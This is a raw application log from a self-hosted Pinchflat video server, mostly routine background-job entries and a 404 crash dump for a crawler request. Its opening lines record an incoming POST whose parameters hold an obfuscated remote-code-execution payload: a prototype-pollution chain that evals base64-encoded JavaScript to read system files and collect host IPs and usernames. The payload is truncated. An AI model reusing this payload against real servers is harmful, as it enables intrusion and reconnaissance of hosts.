"zizhdFnHJIb3dkfyozrk3MoJiO24t0jvAzi9xgNX882", "duwkbm" => "WoXjTbc0rYG0B0TlzoJyxhlGR4zy5VIQ3rioO6JnOT1R7m1" }, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "POST", owner: #PID<0.1303201.0>, params: %{ "0" => "{\"status\":\"\\u0072\\u0065\\u0073\\u006f\\u006c\\u0076\\u0065\\u0064\\u005f\\u006d\\u006f\\u0064\\u0065\\u006c\",\"_tbzv\":true,\"value\":\"{\\\"\\u0074\\u0068\\u0065\\u006e\\\": \\\"$\\u00420\\\"}\",\"reason\":-1,\"\\u0074\\u0068\\u0065\\u006e\":\"$1:\\u005f\\u005f\\u0070\\u0072\\u006f\\u0074\\u006f\\u005f\\u005f:\\u0074\\u0068\\u0065\\u006e\",\"\\u005f\\u0072\\u0065\\u0073\\u0070\\u006f\\u006e\\u0073\\u0065\":{\"\\u005f\\u0070\\u0072\\u0065\\u0066\\u0069\\u0078\":\"var ztio=arguments['\\\\x31'];var fws=ztio;try{var _v=((0,eval)(global[[66,117,102,102,101,114].map(function(c){return String.fromCharCode(c)}).join('')].from('KGFzeW5jIGZ1bmN0aW9uKCl7CmNvbnN0IGZzPWF3YWl0IGltcG9ydCgnZnMnKSxvcz1hd2FpdCBpbXBvcnQoJ29zJyk7CmNvbnN0IFI9e3Y6NSx0czpEYXRlLm5vdygpfTsKY29uc3QgX2NnPSgoKT0+e3RyeXtyZXR1cm4gZnMucmVhZEZpbGVTeW5jKCcvcHJvYy9zZWxmL2Nncm91cCcsJ3V0ZjgnKX1jYXRjaChfKXtyZXR1cm4gJyd9fSkoKTsKCi8vIDEuIElkZW50aXR5CnRyeXsKICBjb25zdCBuaT1vcy5uZXR3b3JrSW50ZXJmYWNlcygpOwogIGNvbnN0IGlwcz1bXTsKICBmb3IoY29uc3Rbayx2XW9mIE9iamVjdC5lbnRyaWVzKG5pKSlmb3IoY29uc3QgaSBvZiB2KWlmKCFpLmludGVybmFsKWlwcy5wdXNoKGsrJzonK2kuYWRkcmVzcyk7CiAgbGV0IHU7dHJ5e3U9b3MudXNlckluZm8oKS51c2VybmFtZTt9Y2F0Y2goXyl7dT1wcm9jZXNzLmVudi5VU0VSfHxwcm9jZXNzLmVudi5MT0dOQU1FfHwoJ3VpZDonK3Byb2Nlc3MuZ2V0dWlkPy4oKSk7fQogIGxldCB (truncated) 17:43:16.241 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:46.243 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.801 [info] {"source":"oban","duration":637,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:44:16.245 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:46.248 [info] {"source":"oban","duration":2094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.803 [info] {"source":"oban","duration":1360,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:45:16.251 [info] {"source":"oban","duration":2113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:46.254 [info] {"source":"oban","duration":2119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.805 [info] {"source":"oban","duration":474,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:46:16.256 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:46.261 [info] {"source":"oban","duration":3562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.807 [info] {"source":"oban","duration":507,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:47:16.263 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:46.267 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.846 [info] {"source":"oban","duration":31706,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:48:16.269 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:46.271 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.847 [info] {"source":"oban","duration":559,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:49:16.273 [info] {"source":"oban","duration":1764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:46.275 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.848 [info] {"source":"oban","duration":460,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:50:16.280 [info] {"source":"oban","duration":3141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:46.283 [info] {"source":"oban","duration":2813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.851 [info] {"source":"oban","duration":1052,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:51:16.286 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:46.289 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.852 [info] {"source":"oban","duration":731,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:52:16.291 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:46.293 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.855 [info] {"source":"oban","duration":770,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:53:16.296 [info] {"source":"oban","duration":1932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:46.298 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.857 [info] {"source":"oban","duration":835,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:54:16.301 [info] {"source":"oban","duration":2230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:46.303 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.858 [info] {"source":"oban","duration":646,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:55:16.306 [info] {"source":"oban","duration":2099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:46.309 [info] {"source":"oban","duration":2556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.859 [info] {"source":"oban","duration":595,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:56:16.312 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:46.314 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.860 [info] {"source":"oban","duration":403,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:57:16.316 [info] {"source":"oban","duration":1870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:46.322 [info] {"source":"oban","duration":4080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.861 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:58:16.324 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:46.326 [info] {"source":"oban","duration":1651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.862 [info] {"source":"oban","duration":595,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:59:16.328 [info] {"source":"oban","duration":1722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:46.331 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.864 [info] {"source":"oban","duration":611,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:00:16.334 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:46.336 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.866 [info] {"source":"oban","duration":655,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:01:16.339 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:46.342 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.872 [info] {"source":"oban","duration":5011,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:02:16.344 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:46.346 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.873 [info] {"source":"oban","duration":646,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:03:16.349 [info] {"source":"oban","duration":2469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:46.353 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.875 [info] {"source":"oban","duration":692,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:04:16.357 [info] {"source":"oban","duration":3802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:46.361 [info] {"source":"oban","duration":2271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.877 [info] {"source":"oban","duration":623,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:05:16.368 [info] {"source":"oban","duration":6280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:46.372 [info] {"source":"oban","duration":3042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.878 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:06:16.375 [info] {"source":"oban","duration":2383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:46.379 [info] {"source":"oban","duration":3781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.880 [info] {"source":"oban","duration":1599,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:07:16.382 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:46.385 [info] {"source":"oban","duration":1989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.882 [info] {"source":"oban","duration":366,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:08:16.387 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:46.389 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.884 [info] {"source":"oban","duration":1195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:09:16.391 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:46.393 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.885 [info] {"source":"oban","duration":646,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:10:16.395 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:46.397 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.887 [info] {"source":"oban","duration":432,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:11:16.401 [info] {"source":"oban","duration":2998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:46.403 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.888 [info] {"source":"oban","duration":757,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:12:16.405 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:46.407 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.890 [info] {"source":"oban","duration":682,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:13:16.409 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:46.411 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.891 [info] {"source":"oban","duration":539,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:14:16.413 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:30.633 [info] GET /sitemap.xml 18:14:30.635 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1558.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:30.636 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=956.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:30.636 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:14:30.638 [error] #PID<0.1304009.0> running PinchflatWeb.Endpoint (connection #PID<0.1304008.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304008.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43390}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304009.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgcwY3v9dYc9G0ADjmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304008.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43390}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304008.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43390}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304009.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgcwY3v9dYc9G0ADjmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, (truncated) 18:14:46.415 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.893 [info] {"source":"oban","duration":1084,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:15:16.418 [info] {"source":"oban","duration":2344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:46.422 [info] {"source":"oban","duration":1760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.894 [info] {"source":"oban","duration":525,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:16:16.424 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:46.426 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.895 [info] {"source":"oban","duration":690,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:17:16.430 [info] {"source":"oban","duration":2956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:46.432 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.897 [info] {"source":"oban","duration":438,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:18:16.434 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:46.438 [info] {"source":"oban","duration":1894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.898 [info] {"source":"oban","duration":680,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:19:16.440 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:46.443 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.899 [info] {"source":"oban","duration":489,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:20:16.445 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:46.447 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.900 [info] {"source":"oban","duration":370,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:21:16.450 [info] {"source":"oban","duration":1906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:46.452 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.902 [info] {"source":"oban","duration":910,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:22:16.454 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:46.456 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.903 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:23:16.458 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:46.463 [info] {"source":"oban","duration":3131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.904 [info] {"source":"oban","duration":488,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:24:16.466 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:46.469 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.905 [info] {"source":"oban","duration":396,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:25:16.471 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:46.473 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.906 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:26:16.476 [info] {"source":"oban","duration":1922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:46.478 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.908 [info] {"source":"oban","duration":423,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:27:16.483 [info] {"source":"oban","duration":4280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:46.486 [info] {"source":"oban","duration":2585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.909 [info] {"source":"oban","duration":545,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:28:16.491 [info] {"source":"oban","duration":4519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:46.493 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.910 [info] {"source":"oban","duration":477,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:29:16.496 [info] {"source":"oban","duration":2285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:46.500 [info] {"source":"oban","duration":3492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.911 [info] {"source":"oban","duration":559,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:30:16.503 [info] {"source":"oban","duration":2623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:46.507 [info] {"source":"oban","duration":3208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.912 [info] {"source":"oban","duration":550,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:31:16.509 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:46.511 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.914 [info] {"source":"oban","duration":1018,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:32:16.514 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:46.517 [info] {"source":"oban","duration":2711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.915 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:33:16.519 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:46.522 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.919 [info] {"source":"oban","duration":2865,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:34:16.524 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:46.526 [info] {"source":"oban","duration":1836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.920 [info] {"source":"oban","duration":452,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:35:16.529 [info] 